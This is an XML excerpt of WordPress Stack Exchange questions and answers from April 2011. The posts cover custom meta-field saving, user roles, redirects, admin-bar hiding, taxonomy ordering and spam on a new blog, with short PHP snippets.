  <row Id="14283" PostTypeId="2" ParentId="14277" CreationDate="2011-04-08T12:42:17.157" Score="1" ViewCount="" Body="&lt;p&gt;Just to be clear, are you talking about including code that already exists as standalone full-featured plugins?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is integrating plugins a common practice?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Integrating code in general in themes is common practice. However bundling excessive amounts of code and functionality, commonly realized with normal plugins, is viewed by some as feature bloat and trying to lock users into your theme.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the implications/complications in regards to auto-updating the theme/plugins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Update overwrites everything with new version.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What would be the most optimized way of including each plugin without breaking pre-existing functionality?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This heavily depends on specifics of what plugin does, how is it coded and if it is required for your theme to function at all or is merely extra functionality.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-08T12:42:17.157" CommentCount="1" />
  <row Id="14284" PostTypeId="2" ParentId="14282" CreationDate="2011-04-08T12:46:10.963" Score="0" ViewCount="" Body="&lt;p&gt;The only difference I see from what you are doing here and the function I use is that you are relying on global $post to set up the ID, this may be what is breaking this for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice the variable $post_ID is already being passed into this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_custom_details( $post_ID ) {&#xA;    global $post;   &#xA;    if( $_POST ) {&#xA;        update_post_meta( $post-&amp;gt;ID, 'proddescr', $_POST['proddescr'] );&#xA;        update_post_meta( $post-&amp;gt;ID, 'ingredients', $_POST['ingredients'] );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would suggest changing it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_custom_details( $post_ID ) {&#xA;    if( isset($_POST) ) {&#xA;        update_post_meta( $post_ID, 'proddescr', $_POST['proddescr'] );&#xA;        update_post_meta( $post_ID, 'ingredients', $_POST['ingredients'] );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also switched your condtion from ( $_POST ) to ( isset($_POST) ), it is a more reliable way of getting an answer for an IF statement. Let me know if this helps. If not, I'll dig into it a little further.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T12:46:10.963" />
  <row Id="14285" PostTypeId="2" ParentId="14238" CreationDate="2011-04-08T12:46:49.997" Score="0" ViewCount="" Body="&lt;p&gt;You can simplly check&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($comment-&amp;gt;user_id &amp;gt; 0){&#xA;//comment by registered user&#xA;}else{&#xA;//comment by none registered user&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T12:46:49.997" CommentCount="1" />
  <row Id="14286" PostTypeId="1" AcceptedAnswerId="14322" CreationDate="2011-04-08T12:48:24.313" Score="1" ViewCount="107" Body="&lt;p&gt;I have added a custom user role of super_poster, basically they make 20 posts and once they hit $postlimit get auto-moved back down to contributer level, the moving down and post counting works ok, my problem is that the wp system adds the user into &quot;none&quot; instead of into contributer role&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($count_posts &amp;gt;= $postlimit) {&#xA;    $current_user-&amp;gt;remove_role( 'super_poster' );&#xA;    $current_user-&amp;gt;add_role( 'contributer' );&#xA;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contributer is set for new user default on sign-up, so the situation i have is in wp-admin user edit page i can see the newly moved (into contributer from super poster) has still got &quot;additional capabilities of contributer&quot; however user role dropdown says --No role for this site -- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-admin users page shows the super_poster as in user group &quot;none&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what gives?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-19T18:04:17.187" Title="User Roles Not Sticking" Tags="&lt;customization&gt;&lt;user-roles&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="14287" PostTypeId="2" ParentId="14282" CreationDate="2011-04-08T12:53:56.607" Score="1" ViewCount="" Body="&lt;p&gt;You need to check for &lt;code&gt;autosave&lt;/code&gt; and avoid that , also check if you are in the right post type as &lt;code&gt;save_post&lt;/code&gt; works on all posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_custom_details( $post_id ) {&#xA;    global $post;   &#xA;    //skip auto save&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) {&#xA;        return $post_id;&#xA;    }&#xA;    //check for you post type only&#xA;    if( $post-&amp;gt;post_type == &quot;sorbets&quot; ) {&#xA;        if( isset($_POST['proddescr']) ) { update_post_meta( $post-&amp;gt;ID, 'proddescr', $_POST['proddescr'] );}&#xA;        if( isset($_POST['ingredients']) ) { update_post_meta( $post-&amp;gt;ID, 'ingredients', $_POST['ingredients'] );}&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WOW you guys are fast :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-09T14:13:52.137" LastActivityDate="2011-04-09T14:13:52.137" CommentCount="6" />
  <row Id="14289" PostTypeId="1" AcceptedAnswerId="14291" CreationDate="2011-04-08T13:19:10.950" Score="0" ViewCount="44" Body="&lt;p&gt;A few weeks ago I created a new WordPress blog. I bought a new domain name for it, and I have not published/linked to the blog yet (because I wanted to get a few articles up first, I only have 2 so far). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten about 10 spam comments already. I am confused how the spammers could be finding me?&lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-04-08T13:30:33.047" Title="How is my non-published blog getting so much spam?" Tags="&lt;spam&gt;" AnswerCount="2" />
  <row Id="14290" PostTypeId="2" ParentId="14289" CreationDate="2011-04-08T13:22:46.033" Score="0" ViewCount="" Body="&lt;p&gt;did you check the domain history?.. it could well be an expired domain with the URI in the hands of spammers&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-08T13:22:46.033" CommentCount="2" />
  <row Id="14291" PostTypeId="2" ParentId="14289" CreationDate="2011-04-08T13:30:33.047" Score="1" ViewCount="" Body="&lt;p&gt;What are your privacy settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Dashboard -&gt; Settings -&gt; Privacy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is set to &lt;em&gt;I would like my site to be visible to everyone, including search engines (like Google, Bing, Technorati) and archivers&lt;/em&gt;, then your site is actively being crawled/indexed by search engines, and thus visible to spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is set to &lt;em&gt;I would like to block search engines, but allow normal visitors&lt;/em&gt;, and you're still getting spam comments, then that would be a bit more surprising. In that case, you might want to look at disabling comments, or looking at some anti-spam solutions.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-08T13:30:33.047" CommentCount="1" />
  <row Id="14292" PostTypeId="2" ParentId="13118" CreationDate="2011-04-08T13:32:34.670" Score="1" ViewCount="" Body="&lt;p&gt;I would not do it this way, but it should not be a problem. When your template file is executed the &quot;real main loop&quot; already contains the posts for this page. You then execute &lt;code&gt;query_posts()&lt;/code&gt; to do a second query, which &quot;hides&quot; the &quot;real&quot; loop, but after you are done you execute &lt;code&gt;wp_reset_query()&lt;/code&gt; which makes the &quot;real&quot; loop again the active loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would get confusing and lead to errors if you would &lt;em&gt;embed&lt;/em&gt; the two loops, thus if you executed another &lt;code&gt;query_posts()&lt;/code&gt; in that main &lt;code&gt;where&lt;/code&gt; loop. Then you must use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt; or a direct &lt;code&gt;WP_Query&lt;/code&gt;&lt;/a&gt; to prevent errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I never call &lt;code&gt;query_posts()&lt;/code&gt; myself and always use &lt;code&gt;get_posts()&lt;/code&gt;, because it doesn't change any global variables &quot;behind my back&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-08T13:32:34.670" CommentCount="1" />
  <row Id="14293" PostTypeId="2" ParentId="11625" CreationDate="2011-04-08T13:53:18.700" Score="1" ViewCount="" Body="&lt;h3&gt;Solution:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Simply set &lt;code&gt;'href' =&amp;gt; '#'&lt;/code&gt; to link to a not defined anchor to avoid page reloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is really simple, but it took me nearly an hour to get on the right track (thinking too much about filters and hooks to modify the output), so here's my share.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-08T14:17:30.077" LastActivityDate="2011-04-08T14:17:30.077" />
  <row Id="14294" PostTypeId="1" AcceptedAnswerId="14303" CreationDate="2011-04-08T14:11:01.860" Score="0" ViewCount="43" Body="&lt;p&gt;This is such a simple question, but I'm having trouble getting the answer.  Is it possible to have a blog at WordPress.com and not have the WordPress.com banner (shown below)?  Is it simply a matter of purchasing the &lt;a href=&quot;http://en.wordpress.com/products/&quot; rel=&quot;nofollow&quot;&gt;&quot;master of your domain&quot; premium feature&lt;/a&gt;?  Or must I host my own WordPress.org installation (which is not a big deal)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cQTe6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4536" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-08T14:25:55.377" LastActivityDate="2011-04-08T15:16:28.213" Title="Removing the WordPress.com ribbon" Tags="&lt;wordpress.com&gt;&lt;hosting&gt;&lt;header&gt;" AnswerCount="2" />
  <row Id="14295" PostTypeId="2" ParentId="14277" CreationDate="2011-04-08T14:16:45.863" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) &lt;strong&gt;Is integrating plugins a common practice?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. Normally you got a theme that offers a base functionality. You then only extend the theme with plugins for special purpose like twitter stuff, event calendars, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imo it makes sense. I'm currently working on an extremly slim theme that has some plugins (OOP approach) that get delivered as plugins, but are not bundled. These plugins offer template tags for pagination, breadcrumbs, ... even the loop with post formats. I like the idea of only offering functionality if the user really wants it. For ex. the comment system is rarely needed if you use WP as a CMS for a buisness homepage, so why should the theme offer this? Another pro for this approach: You just disable the plugin and exchange the template tags with custom stuff if you don't need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important with this approach is: Don't place those template tags directly. Use hooks &amp;amp; filters wrapped up in functions, so your theme doesn't crash because of undefined function calls if you disabled a plugin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) &lt;strong&gt;What are the implications/complications in regards to auto-updating the theme/plugins?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is something i'm currently questioning myself. I thought about a massive routine that checks for updates on both the theme and the plugins, but overall: It makes no sense. Imo it's even better if you just use the builtin update system (or use some custom class if you're not hosting at the official repo). Why: You only update what really needs to get updated. This saves some time and energy, so i'd even call it the &quot;greener&quot; way to go.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) &lt;strong&gt;What would be the most optimized way of including each plugin without breaking pre-existing functionality?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What exactly is in your case pre-existing functionality?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Function Names&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;WordPress got around 2.500 functions that get read on a request. So questioning &lt;code&gt;if ( function_exists('whatever') )&lt;/code&gt; is never a good idea. Better use unique names. @Jan Fabry had a good idea: He prefixes all his answer functions over here with &lt;code&gt;wpse&lt;/code&gt; and the number of the Q - example: &lt;code&gt;wpse14277_function_name()&lt;/code&gt;. A 4 or 5 digit number combined with alphas will likely stay unique. Imagine that you got 50 custom functions in your theme and are questioning them against 2.500 per Request (you can do the math yourself) - that's not performant.&lt;br&gt;&#xA;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;If you just want to know if a plugin is active, then use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt; conditional tag.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-08T18:07:54.427" LastActivityDate="2011-04-08T18:07:54.427" CommentCount="3" />
  <row Id="14296" PostTypeId="1" CreationDate="2011-04-08T14:29:45.063" Score="0" ViewCount="39" Body="&lt;p&gt;I'm setting up a WordPress site that has Flash puzzles embedded in the pages. (My site will have pages instead of posts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each week I'll add a new puzzle to the site's Home page. When the site loads you'll see the newest puzzle. Older puzzles would be accessed through a dropdown menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how should I design the permalink structure? Under Reading Settings, I plan to set the Front Page to static. And select the latest puzzle as the front page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if someone bookmarks the Home page, they'll get the latest puzzle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say this week's puzzle (on the Home page) is called &quot;Astronomy&quot;. The path to the Home page would be, for example, www.mysite.com. Imagine that someone is a Carl Sagan nerd and wants to link to the Astronomy puzzle. After the week is over, a new puzzle would be on the front page. The &quot;Astronomy&quot; puzzle's path would now be www.mysite.com/astronomy and would be accessed through the dropdown menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to avoid this problem? (Other than a blurb on the Home page with a link to the puzzle)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, if this is an idiotic question. But, maybe someone has a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-08T14:34:10.690" Title="Front Page Settings" Tags="&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="14297" PostTypeId="2" ParentId="14296" CreationDate="2011-04-08T14:34:10.690" Score="2" ViewCount="" Body="&lt;p&gt;I am not sure why you need pages over posts here. Using posts gives you ready made index home page, slugs and pretty permalinks give you link structure you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just add some blurb on home page that says &quot;bookmark this puzzle&quot; with direct permalink.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-08T14:34:10.690" CommentCount="1" />
  <row Id="14300" PostTypeId="1" CreationDate="2011-04-08T14:52:02.680" Score="0" ViewCount="80" Body="&lt;p&gt;i'm a little worried here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to redirect EVERYONE that access my site to a specific webpage, and nothing is working! Currently i'm trying this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function redirect_this() {&#xA;    wp_redirect( 'http://www.myawesomesite.com/here.html', 301 );&#xA;    exit;&#xA;}&#xA;add_action('template_redirect', 'redirect_this');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the page always show&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is driving me crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, i've created a plugin to hold this code. So this code is in a single plugin file.&lt;/p&gt;&#xA;" OwnerUserId="4538" LastActivityDate="2011-05-08T19:53:55.677" Title="Redirecting simple big problem" Tags="&lt;redirect&gt;&lt;wp-redirect&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14301" PostTypeId="2" ParentId="14300" CreationDate="2011-04-08T15:00:25.550" Score="0" ViewCount="" Body="&lt;p&gt;template_redirect is happening after the headers are sent, try hooking redirect_this into wp_loaded instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_loaded', 'redirect_this');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to be a little more deliberate in your redirect_this function to specifically target the page you want to be redirecting, or else everything will redirect to that page, do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function redirect_this() {&#xA;    if ( is_page('slug-of-page-you-wish-to-redirect') ) {&#xA;        wp_redirect( 'http://www.myawesomesite.com/here.html', 301 );&#xA;        exit;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T15:00:25.550" CommentCount="2" />
  <row Id="14302" PostTypeId="2" ParentId="14294" CreationDate="2011-04-08T15:04:12.860" Score="-1" ViewCount="" Body="&lt;p&gt;Simply set &lt;code&gt;show_admin_bar&lt;/code&gt; filter to false in the functions.php file of your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;code&gt;add_filter( 'show_admin_bar', '__return_false' );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-08T15:04:12.860" CommentCount="3" />
  <row Id="14303" PostTypeId="2" ParentId="14294" CreationDate="2011-04-08T15:16:28.213" Score="2" ViewCount="" Body="&lt;p&gt;The ribbon is merely a way to quickly administer your site.  It's actually there for self-hosted WordPress.org setups, too (though you can turn it off with a filter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But think for a few minutes about &lt;em&gt;why&lt;/em&gt; you want it hidden.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you want it hidden from just you because you don't need it?  &lt;/li&gt;&#xA;&lt;li&gt;Do you want it hidden from you readers so they aren't reminded you're hosted by WordPress.com?  &lt;/li&gt;&#xA;&lt;li&gt;Does it not fit with the aesthetic of your site?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to hide it from your readers, keep in mind that &quot;&lt;a href=&quot;http://en.forums.wordpress.com/topic/how-to-remove-the-admin-bar?replies=19&quot; rel=&quot;nofollow&quot;&gt;The only people who can see it are those who also have WordPress.com blogs and are logged into WordPress.com when they visit your blog.&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it hidden from just you or if it doesn't really fit with your site, you would be best suited migrating to a self-hosted installation.  You can get on a shared host for about $6/month and can get a custom domain for about $8/year depending on the host.  Migrating is pretty easy, and then you'd have full control over the presentation of your site without needing to buy other premium add-ons.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-08T15:16:28.213" CommentCount="1" />
  <row Id="14304" PostTypeId="2" ParentId="14238" CreationDate="2011-04-08T15:17:00.303" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if ($comment-&amp;gt;user_id || email_exists($comment-&amp;gt;comment_author_email)){&#xA;            //comment by registered user&#xA;            $avatar = '/images/registered_user.png';&#xA;            }else{&#xA;            //comment by none registered user&#xA;            $avatar = '/images/non_registered_user.png';&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;?php echo get_avatar($comment, 70, get_bloginfo('template_url').$avatar); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems about as succinct a way I can figure.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-04-08T15:17:00.303" />
  <row Id="14305" PostTypeId="1" CreationDate="2011-04-08T15:40:31.313" Score="0" ViewCount="92" Body="&lt;p&gt;I'm trying to create an image with a caption in a Page I'm working with. In the image options, I have it aligned right, with an image width of 220. Without the caption I have no problems, however with the addition of the caption it adds a div wrapper with an inline style width of 230px. The only way to fix this is by setting the width manually in the image options to 210px, which then makes the inline width 220px (it just adds 10px to the value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent this additional 10px from being added to the inline style width?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-04-08T21:20:11.957" Title="Caption in Page adding unwanted 10px to width" Tags="&lt;images&gt;&lt;pages&gt;&lt;captions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14306" PostTypeId="1" AcceptedAnswerId="14309" CreationDate="2011-04-08T15:44:50.793" Score="4" ViewCount="901" Body="&lt;p&gt;My question is simple, I'm using WP_Query to retrieve some custom type posts filtering by a taxonomy using tax_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my problem is I would like to orderby the taxonomy, but from documentation and searching in the web I can't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orderby in WP_Query let's you order by a bunch of fields even custom meta fields but it doesn't seem to support taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all.&lt;/p&gt;&#xA;" OwnerUserId="3540" LastActivityDate="2011-05-09T06:44:33.263" Title="Using wp_query is it possible to orderby taxonomy?" Tags="&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;taxonomy&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="14307" PostTypeId="1" AcceptedAnswerId="14311" CreationDate="2011-04-08T15:48:41.140" Score="0" ViewCount="104" Body="&lt;p&gt;I've got a CSV file of new posts which I'll be importing straight into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to give a GUID of &lt;code&gt;http://domain/?p=[n]&lt;/code&gt; where &lt;code&gt;[n]&lt;/code&gt; is any number, as long as it's not a duplicate of an existing post?&lt;/p&gt;&#xA;" OwnerUserId="4540" LastActivityDate="2011-05-06T05:46:05.283" Title="Importing Direct to DB - GUID Question" Tags="&lt;database&gt;&lt;import&gt;&lt;guids&gt;" AnswerCount="2" />
  <row Id="14308" PostTypeId="1" CreationDate="2011-04-08T16:12:50.507" Score="0" ViewCount="305" Body="&lt;p&gt;I've created a custom meta box with some custom fields. I'm trying to get some of the fields (textareas) to have the WYSIWYG editor, however I've encountered some strange behavior in the WYSIWYG editor that I've implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My implimentation is fairly simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-field form-required&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;_oak_cf_page_sections_content&quot;&amp;gt;&#xA;    &amp;lt;strong&amp;gt;Content&amp;lt;/strong&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;div class=&quot;wysiwyg&quot;&amp;gt;&#xA;    &amp;lt;textarea name=&quot;page_sections_content&quot; id=&quot;page_sections_content_1&quot; class=&quot;page_sections_content&quot; columns=&quot;30&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;?php echo $value['page_sections_content']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;a style=&quot;display: block; text-align: right; margin: 10px 20px 0 0&quot; class=&quot;togglelink&quot; id=&quot;1&quot;&amp;gt;Add/Remove editor&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's basically just borrowing the same functionality from Wordpress (using the same TinyMCE editor as the main content box), there's no additional functionality that was added here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue is that if I highlight text and try to change its formatting (to a header or something), it replaces all of the text in the WYSWIYG editor with that formatting and not just the highlighted text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have problems saving and displaying new lines, however I have found a solution for that.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastEditorUserId="1769" LastEditorDisplayName="" LastEditDate="2011-04-09T20:32:08.150" LastActivityDate="2011-04-09T20:32:08.150" Title="WYSIWYG Editor on Custom Meta Fields Not Working" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;wysiwyg&gt;&lt;formatting&gt;" CommentCount="3" />
  <row Id="14309" PostTypeId="2" ParentId="14306" CreationDate="2011-04-08T16:20:29.457" Score="3" ViewCount="" Body="&lt;p&gt;No, it is not possible to order by taxonomy, because from a certain type of standpoint, that doesn't actually make much sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomies are ways to group things together. So the point of having a taxonomy on posts would really be to have terms in that taxonomy that are shared between posts. If a taxonomy had terms that were only used on one post each, then that would make the taxonomy kind of pointless. And if the terms were shared like they should be, then ordering by it wouldn't produce anything particularly useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should be using in such a situation is the post meta. You can order by post meta, and it's unique to each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: That said, you can order by taxonomy by making a custom SQL query using a filter, you just can't do it from a unmodified WP_Query: &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/sortable-taxonomy-columns.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're having to resort to doing this sort of thing, then your data design structure is wrong in the first place. &quot;Terms&quot; in the taxonomy are not actual &quot;data&quot;. The terms themselves have no inherent meaning, they're just labels for the particular grouping that they're describing. If you're treating them as meaningful data, then you have an underlying design flaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomies group things by assigning terms to them. That grouping is the whole point of taxonomies, the terms are just pretty faces on the grouping. If you have meaningful metadata to assign to a post, then you should be using the post meta for it instead. And that you &lt;em&gt;can&lt;/em&gt; order by, because post meta uses both keys and values to store information. With a taxonomy, you're really only storing keys, with their values being the posts grouped together by that term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things are easier in the long run if you use the correct approach for it. While I'm not saying that you can't do something strange with taxonomy, you're just making things harder for yourself in the long run by using it wrong.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-04-08T16:26:42.447" LastActivityDate="2011-04-08T16:26:42.447" CommentCount="8" />
  <row Id="14310" PostTypeId="1" CreationDate="2011-04-08T16:22:24.633" Score="1" ViewCount="171" Body="&lt;p&gt;I'm trying to set up a WPMU test environment with 5-6K blogs, lots of posts comments, users etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsing trough the WP's functions, I picked up &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_comment&quot; rel=&quot;nofollow&quot;&gt;wp_insert_comment&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/create_empty_blog&quot; rel=&quot;nofollow&quot;&gt;create_empty_blog()&lt;/a&gt;, and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_user&quot; rel=&quot;nofollow&quot;&gt;wp_insert_user()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I would run a big for loop in which I create random blogs, get their ID, switch to each of them and insert posts with &lt;a href=&quot;http://www.lorizzle.nl/?feed=1&quot; rel=&quot;nofollow&quot;&gt;random content&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this really this easy as it looks? :)&#xA;Or I'm missing something here?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-09T01:35:10.980" Title="Programmatically create blogs with dummy content on a WPMU site" Tags="&lt;multisite&gt;&lt;testing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
